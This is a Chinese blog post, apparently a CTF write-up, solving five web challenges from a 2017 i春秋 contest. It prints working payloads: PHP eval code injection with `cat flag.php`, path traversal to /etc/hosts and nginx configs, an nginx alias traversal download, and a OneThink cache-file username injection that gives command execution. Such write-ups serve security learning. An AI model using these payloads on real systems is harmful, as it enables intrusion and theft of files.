

# i春秋“百度杯”二月第二场Web专题

原创

春秋论坛 于 2017-02-22 14:47:26 发布 1978 收藏

分类专栏: [CTF](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/wodafa/article/details/56485217>

版权



[CTF 专栏收录该内容](#)

5 篇文章 0 订阅

订阅专栏

## Misc&Web 1

```
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/', $a )){
    die('ERROR');
}
eval("var_dump($a);");
show_source(__FILE__);
?>
```



查看源码, 得知限制了只允许数字字母下划线

利用超全局变量 \$GLOBALS

```
< -- C d7e7cb601e9b4438be5326923943c9ad0dd4101575e34d06.ctf.game/?hello=GLOBALS
array(9) { ["_GET"] => array(1) { ["hello"] => string(7) "GLOBALS" } ["_POST"] => array(0) { } ["_COOKIE"] => array(0) { } ["_FILES"] => array(0) { } ["_REQUEST"] =>
array(1) { ["hello"] => string(7) "GLOBALS" } ["flag"] => string(38) "flag在一个长度为6的变量里面" ["d3f0f8"] => string(42) "flag(84b465ec-19a6-41c2-b6c1-
27cc61493b99)" ["a"] => string(7) "GLOBALS" ["GLOBALS"] => *RECURSION* } <?php
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/', $a )){
    die('ERROR');
}
eval("var_dump($a);");
show_source(__FILE__);
?>
```



## Misc&Web 2

```
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval("var_dump($a);");
show_source(__FILE__);
```



很明显的代码注入

```
> C view-source:711b10f9a87a4732862c9c4c4238e25bffc6d44a7ba49f6.ctf.game/?hello=;echo%20`cat%20flag.php`;//
<?php
$flag = 'Too Young Too Simple';
#flag(90d21480-1a0b-4932-8b1f-6c7d4c206cf6);
<code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php<br /></span><span style="color: #007700">include&nbsp;&lt;/span><span style="color: #DD0
```



获得flag

## Misc&Web 3

```
<?php
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
    $_SESSION['nums'] = 0;
    $_SESSION['time'] = time();
    $_SESSION['whoami'] = 'ea';
}

if($_SESSION['time']+120<time()){
    session_destroy();
}

$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
    $_SESSION['nums']++;
    $_SESSION['whoami'] = $str_rands;
    echo $str_rands;
}

if($_SESSION['nums']>=10){
    echo $flag;
}

show_source(__FILE__);
?>
```



SESSION nums需要>=10返回flag

初始化为0

其中substr(md5(\$value),5,4)==0是恒成立的

只要满足whoami 等于就会 对nums加1

Whoami初始化为ea

并且加一的同时会输出 下一个随机whoami值 不知道是不是题出错了 只需要提交10次就可以了



```
ygflag{3af3aa60-b7dd-4e9b-b61f-e13ecd827222} <?php
error_reporting(0);
session_start();
require('./flag.php');
```



第一次提交value[0]=e&value[1]=a

接下来的value值根据输出出来的 对应构造请求就可以了

## Web 4 include

```
<?php
show_source(__FILE__);
if(isset($_REQUEST['path'])){
    include($_REQUEST['path']);
}else{
    include('phpinfo.php')
}
```



很明显的包含漏洞

查看phpinfo 信息发现allow\_url\_include 是开启的 可以利用php://input 等协议 执行任意代码



http://fff70c630e154d28b1f69c128565dc86cde01d11dc9342af.ctf.game/manages/admin.php?module=../../../../../../../../etc/hosts&name=

Enable Post data  Enable Referrer

cookies CSS 表单 图片 网页信息 其他功能 标记 缩放 工具 查看源代码 选项

localhost ::1 localhost ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip



包含日志 爆破上传路径均失败

查看了nginx.conf 文件

[http://fff70c630e154d28b1f69c128565dc86cde01d11dc9342af.ctf.game/manages/admin.php?](http://fff70c630e154d28b1f69c128565dc86cde01d11dc9342af.ctf.game/manages/admin.php?module=../../../../../../../../etc/nginx/nginx.conf&name=)

[module=../../../../../../../../etc/nginx/nginx.conf&name=](http://fff70c630e154d28b1f69c128565dc86cde01d11dc9342af.ctf.game/manages/admin.php?module=../../../../../../../../etc/nginx/nginx.conf&name=)

```
# HTTPS server
#
#server {
#    listen      443 ssl;
#    server_name localhost;

#    ssl_certificate      cert.pem;
#    ssl_certificate_key  cert.key;

#    ssl_session_cache    shared:SSL:1m;
#    ssl_session_timeout  5m;

#    ssl_ciphers  HIGH:!aNULL:!MD5;
#    ssl_prefer_server_ciphers  on;

#    location / {
#        root    html;
#        index  index.html index.htm;
#    }
#}
include sites-enabled/default;
```

继续查看这个文件

[http://fff70c630e154d28b1f69c128565dc86cde01d11dc9342af.ctf.game/manages/admin.php?](http://fff70c630e154d28b1f69c128565dc86cde01d11dc9342af.ctf.game/manages/admin.php?module=../../../../../../../../etc/nginx/sites-enabled/default&name=)

[module=../../../../../../../../etc/nginx/sites-enabled/default&name=](http://fff70c630e154d28b1f69c128565dc86cde01d11dc9342af.ctf.game/manages/admin.php?module=../../../../../../../../etc/nginx/sites-enabled/default&name=)

```
location /online-movies {
    alias /movie/;
    autoindex on;
}
```

```
location ~ /\.ht {
    deny all;
}
```



这里比较可疑 通过搜索引擎搜索 得知 这个地方设置错误会导致目录遍历下载漏洞 具体利用可百度

```
→ /Users/BlueIce curl -i http://fff70c630e154d28b1f69c128565dc86cde01d11dc9342af.ctf
.game/online-movies../var/www/html/flag.php
HTTP/1.1 200 OK
Server: ASERVER/1.8.0-3
Date: Sun, 19 Feb 2017 13:33:56 GMT
Content-Type: application/octet-stream
Content-Length: 81
Connection: keep-alive
Last-Modified: Sun, 19 Feb 2017 13:27:50 GMT
ETag: "58a99d56-51"
Set-Cookie: __ads_session=4EzjqxPD3QiVPLwDDAA=; domain=*.ctf.game; path=/
X-Powered-By-Anquanbao: MISS from pon-bj-icq-ichunqiu-ib1
Accept-Ranges: bytes

<?php
$flag='flag{6e6419e5-def3-431c-a1e4-1dc1a4c925c7}';
echo 'flag_is_here';
```



获得FLAG

## Web 5 onethink

题目提示利用已知的漏洞拿shell，百度搜索“onethink 漏洞”，找到以下文章

<http://www.ourlove520.com/Article/diannaowangluo/227731.html> //onethink最新通杀getshell定位分析

<http://www.hackdig.com/06/hack-36510.html> //thinkphp框架写的开源系统或被getshell tp官方onethink举例

大意是thinkphp的缓存方式缺陷配合onethink过滤不严造成的命令执行漏洞。

thinkphp的默认缓存方式S()是以File方式，在/Runtime/Temp 下生成文件名固定的缓存文件

onethink在/Runtime/Temp生成缓存文件2bb202459c30a1628513f40ab22fa01a.php，其中记录的用户名可以被用户控制，由于注册时只限制了用户名长度，没有对内容进行过滤，造成了命令执行漏洞。

虽然图都挂了，但是看代码和文字分析，把源码下回来本地搭环境测试了好久，勉强把漏洞利用复现出来。

由于限制了用户名长度，用burpsuit改包，注册下面2个帐号：

```
%0a$a=$_GET[a];//
```

```
%0aecho `a`;//
```

然后依次登录，这里要注意顺序，因为先登录的会先写进缓存文件,顺序写反了就执行不了了

最后访问

```
/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php?a=cat ../../flag.php
```

得到flag